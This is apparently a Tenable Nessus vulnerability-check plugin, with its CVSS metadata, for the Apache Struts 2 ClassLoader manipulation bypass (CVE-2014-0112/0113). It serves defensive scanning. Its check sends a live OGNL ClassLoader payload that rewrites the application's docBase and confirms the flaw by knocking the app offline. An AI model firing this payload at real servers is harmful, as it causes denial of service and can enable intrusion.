CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
AI Score
Confidence
High
EPSS
Percentile
99.9%
The remote web application appears to use Struts 2, a web framework that utilizes OGNL (Object-Graph Navigation Language) as an expression language. The version of Struts 2 in use is affected by a security bypass vulnerability, possibly due to an incomplete fix for ClassLoader manipulation implemented in version 2.3.16.1.
Note that this plugin will only report the first vulnerable instance of a Struts 2 application.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(73763);
script_version("1.16");
script_set_attribute(attribute:"plugin_modification_date", value:"2024/05/28");
script_cve_id("CVE-2014-0112", "CVE-2014-0113");
script_bugtraq_id(67064, 67081);
script_xref(name:"CERT", value:"719225");
script_name(english:"Apache Struts 2 ClassLoader Manipulation Incomplete Fix for Security Bypass");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web application that uses a Java
framework that is affected by a security bypass vulnerability.");
script_set_attribute(attribute:"description", value:
"The remote web application appears to use Struts 2, a web framework
that utilizes OGNL (Object-Graph Navigation Language) as an expression
language. The version of Struts 2 in use is affected by a security
bypass vulnerability, possibly due to an incomplete fix for
ClassLoader manipulation implemented in version 2.3.16.1.
Note that this plugin will only report the first vulnerable instance
of a Struts 2 application.");
script_set_attribute(attribute:"see_also", value:"https://struts.apache.org/announce.html#a20140424");
script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/s2-021.html");
script_set_attribute(attribute:"solution", value:
"Upgrade to version 2.3.16.2 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-0113");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"metasploit_name", value:'Apache Struts ClassLoader Manipulation Remote Code Execution');
script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2014/04/24");
script_set_attribute(attribute:"patch_publication_date", value:"2014/04/24");
script_set_attribute(attribute:"plugin_publication_date", value:"2014/04/29");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_set_attribute(attribute:"enable_cgi_scanning", value:"true");
script_end_attributes();
script_category(ACT_DENIAL);
script_family(english:"Denial of Service");
script_copyright(english:"This script is Copyright (C) 2014-2024 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("http_version.nasl", "webmirror.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80, 8080);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("http.inc");
include("misc_func.inc");
port = get_http_port(default:8080);
cgis = get_kb_list('www/' + port + '/cgi');
urls = make_list();
# To identify actions that we can test the exploit on we will look
# for files with the .action / .jsp / .do suffix from the KB.
if (!isnull(cgis))
{
foreach cgi (cgis)
{
match = eregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
if (match)
{
urls = make_list(urls, match[0]);
if (!thorough_tests) break;
}
match2 = eregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
if (!isnull(match2))
{
urls = make_list(urls, match2[0]);
if (!thorough_tests) break;
}
match3 = eregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
if (!isnull(match3))
{
urls = make_list(urls, match3[0]);
if (!thorough_tests) break;
}
}
}
if (thorough_tests)
{
cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
if (!isnull(cgi2)) urls = make_list(urls, cgi2);
cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
if (!isnull(cgi3)) urls = make_list(urls, cgi3);
cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
if (!isnull(cgi4)) urls = make_list(urls, cgi4);
}
if (max_index(urls) == 0)
audit(AUDIT_WEB_FILES_NOT, "Struts 2 .action / .do / .jsp", port);
urls = list_uniq(urls);
script = SCRIPT_NAME - ".nasl" + "-" + unixtime();
foreach url (urls)
{
res = http_send_recv3(
method : "GET",
port : port,
item : url,
exit_on_fail : TRUE
);
if (res[0] !~ "404 Not Found")
{
vuln_url = url + "?class['classLoader']['resources']['dirContext']['docBase']=" + script;
res2 = http_send_recv3(
method : "GET",
port : port,
item : vuln_url,
fetch404 : TRUE,
exit_on_fail : TRUE
);
if (
(res2[0] =~ "200 OK|404 Not Found")
)
{ sleep(2);
# One more check to ensure service is dead
res = http_send_recv3(
method : "GET",
item : url,
port : port,
fetch404 : TRUE,
exit_on_fail : TRUE
);
if (res[0] =~ "404 Not Found")
{
vuln = TRUE;
# Stop after first vulnerable Struts app is found
break;
}
}
}
}
if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');
security_report_v4(
port : port,
severity : SECURITY_HOLE,
generic : TRUE,
request : make_list(build_url(qs:vuln_url, port:port)),
output : chomp(res[2])
);